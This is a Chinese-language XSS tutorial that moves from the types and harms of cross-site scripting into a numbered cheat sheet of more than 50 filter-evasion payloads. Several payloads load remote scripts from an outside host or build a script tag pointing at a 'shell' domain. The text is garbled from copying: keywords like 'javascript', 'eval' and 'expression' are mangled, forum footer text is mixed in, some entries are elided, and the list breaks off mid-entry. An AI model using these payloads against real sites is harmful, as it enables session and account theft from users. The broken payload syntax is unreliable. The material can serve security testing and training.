01、XSS的原理和分类
跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆
故将跨站脚本攻击缩写为XSS,恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面时,嵌入Web里面的Script代码会被执行,从而达到恶意攻击用户的目的,XSS攻击针对的是用户层面的攻击;
XSS分为:存储型,反射型,DOM型XSS
存储型XSS:存储型XSS,持久化,代码是存储在服务器中,如在个人信息或发表文章等地方,插入代码,如果没有过滤或者过滤不严,那么这些代码将储存到数据库中,用户访问该页面的时候出发代码执行,这种XSS比较危险,容易造成蠕虫,盗取Cookie;
反射型XSS:非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面,反射性XSS大多数是用来盗取用户的Cookie信息;
DOM型XSS:不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Object Model ,DOM)的一种漏洞,DOM-XSS是用过url传入参数取控制触发的,其实也属于反射型XSS,DOM的详解:DOM文档对象模型;
可能触发DOM型XSS的属性
document.referer
window.name
location
innerHTML
documen.write
02、XSS攻击的危害
1、盗取各类用户账号,如机器登陆账号,用户网银账号,各类管理员账号;
2、控制企业数据,包括读取,篡改,添加,删除企业敏感数据的能力;
3、盗取企业重要的具有商业价值的资料;
4、非法转账;
5、强制发送电子邮件;
6、网站挂马;
7、控制受害者机器向其他网站发起攻击;
03、XSS的测试语句
在网站是否存在XSS漏洞时,应该输入一些标签,如<,>输入后查看网页源代码是否过滤标签,如果没有过滤,很大可能存在XSS漏洞。
常用测试语句:
<h5>1</h5>
<span>1</span>
可以看到,网站并没有对标签进行过滤;
<script>console.log(1);</script>
可以看到,并没有弹出,但是控制台上输出了1,我们可以确定,确实存在XSS;
闭合问题:很多时候,在测试XSS的时候,想要要考虑到闭合问题,我们首先查看网页的源代码,需要首先判断出来,网站用的时单引号闭合还是双引号闭合;
"><span>x</span><"
'><span>x</span><'
单行注释:
"><span>x</span>//#双斜杠表示注释掉后面的语句
0x04、XSS攻击语句
输入检测确定标签没有过滤,为了显示漏洞存在,需要插入XSS攻击代码;
<script>alert(1)</script><svgonload=alert(1)><ahref=java script:alert(1)><ahref='java script:alert(1)'>aa</a>
(1)普通的 XSS java script 注入
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
(2)IMG 标签 XSS 使用 java script 命令
<IMG SRC=http://3w.org/XSS/xss.js/>
(3)IMG 标签无分号无引号
<IMG SRC=java script:alert('XSS')>
(4)IMG 标签大小写不敏感
<IMG SRC=java script:alert('XSS')>
(5)HTML 编码(必须有分号)
<IMG SRC=java script:alert("XSS")>
(6)修正缺陷 IMG 标签
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
(7)formCharCode 标签(计算器)
<IMG SRC=java script:alert(String.fromCharCode(88,83,83))>
(8)UTF-8 的 Unicode 编码(计算器)
<IMG SRC=jav..省略..S')>
(9)7 位的 UTF-8 的 Unicode 编码是没有分号的(计算器)
<IMG SRC=jav..省略..S')>
(10)十六进制编码也是没有分号(计算器)
<IMG SRC=java..省略..XSS')>
(11)嵌入式标签,将 java script 分开
<IMG SRC="jav ascript:alert('XSS');">
(12)嵌入式编码标签,将 java script 分开
<IMG SRC="jav ascript:alert('XSS');">
(13)嵌入式换行符
<IMG SRC="jav ascript:alert('XSS');">
(14)嵌入式回车
<IMG SRC="jav ascript:alert('XSS');">
(15)嵌入式多行注入 java script,这是 XSS 极端的例子
<IMG SRC="java script:alert('XSS')">
(16)解决限制字符(要求同页面)
<script>z='document.'</script><script>z=z+'write("'</script><script>z=z+'<script'</script><script>z=z+'src=ht'</script><script>z=z+'tp://ww'</script><script>z=z+'w.shell'</script><script>z=z+'.net/1.'</script><script>z=z+'js></sc'</script><script>z=z+'ript>")'</script><script>eva l_r(z)</script>
(17)空字符 12-7-1 T00LS - Powered by Discuz! Board
http://www.a.com/viewthread.php?action=printable&tid=15267 2/6perl-e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
(18)空字符 2,空字符在国内基本没效果.因为没有地方可以利用
perl -e 'print "<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";' > out
(19)Spaces 和 meta 前的 IMG 标签
<IMG SRC=" java script:alert('XSS');">
(20)Non-alpha-non-digit XSS
<SCRIPT/XSS SRC="http://3w.org/XSS/xss.js"></SCRIPT>
(21)Non-alpha-non-digit XSS to 2
<BODYonload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
(22)Non-alpha-non-digit XSS to 3
<SCRIPT/SRC="http://3w.org/XSS/xss.js"></SCRIPT>
(23)双开括号
<<SCRIPT>alert("XSS");//<</SCRIPT>
(24)无结束脚本标记(仅火狐等浏览器)
<SCRIPT
SRChttp://3w.org/XSS/xss.js?<B>
(25)无结束脚本标记 2
<SCRIPT SRC=//3w.org/XSS/xss.js>
(26)半开的 HTML/java script XSS
<IMG SRC="java script:alert('XSS')"
(27)双开角括号
<iframe src=http://3w.org/XSS.html <
(28)无单引号 双引号 分号
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
(29)换码过滤的 java script
\";alert('XSS');//
(30)结束 Title 标签
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
(31)Input Image
<INPUT SRC="java script:alert('XSS');">
(32)BODY Image
<BODY BACKGROUND="java script:alert('XSS')">
(33)BODY 标签
<BODY('XSS')>
(34)IMG Dynsrc
<IMG DYNSRC="java script:alert('XSS')">
(35)IMG Lowsrc
<IMG LOWSRC="java script:alert('XSS')">
(36)BGSOUND
<BGSOUND SRC="java script:alert('XSS');">
(37)STYLE sheet
<LINK REL="stylesheet" HREF="java script:alert('XSS');">
(38)远程样式表
<LINK REL="stylesheet" HREF="http://3w.org/xss.css">
(39)List-style-image(列表式)
<STYLE>li {list-style-image: url("java script:alert('XSS')");}</STYLE<UL><LI>XSS
(40)IMG VBscript
<IMG SRC='vbscript:msgbox("XSS")'></STYLE><UL><LI>XSS
(41)META 链接 url
<META HTTP-EQUIV="refresh" CONTENT="0;URL=http://URL=java script:alert('XSS');">
(42)Iframe
<IFRAME SRC="java script:alert('XSS');"></IFRAME>
(43)Frame
<FRAMESET><FRAMESRC="java script:alert('XSS');"></FRAMESET>12-7-1 T00LS - Powered by Discuz!Boardhttp:
(44)Table
<TABLE BACKGROUND="java script:alert('XSS')">
(45)TD
<TABLE><TD BACKGROUND="java script:alert('XSS')">
(46)DIV background-image
<DIV STYLE="background-image: url(java script:alert('XSS'))">
(47)DIV background-image 后加上额外字符
(1-32&34&39&160&8192-8&13&12288&65279) **<DIV STYLE="background-image: url(java script:alert('XSS'))">**
(48)DIV expression
<DIV STYLE="width: expression_r(alert('XSS'));">
(49)STYLE 属性分拆表达
<IMG STYLE="xss:expression_r(alert('XSS'))">
(50)匿名 STYLE(组成:开角号和一个字母开头)
<XSS STYLE="xss:expression_r(alert('XSS'))">
(51)STYLE background-image
<STYLE>.XSS{background-image:url("java script:alert('XSS')");}</STYLE><ACLASS=XSS></A>
(52)IMG STYLE 方式
exppression(alert("XSS"))'>
(53)STYLE background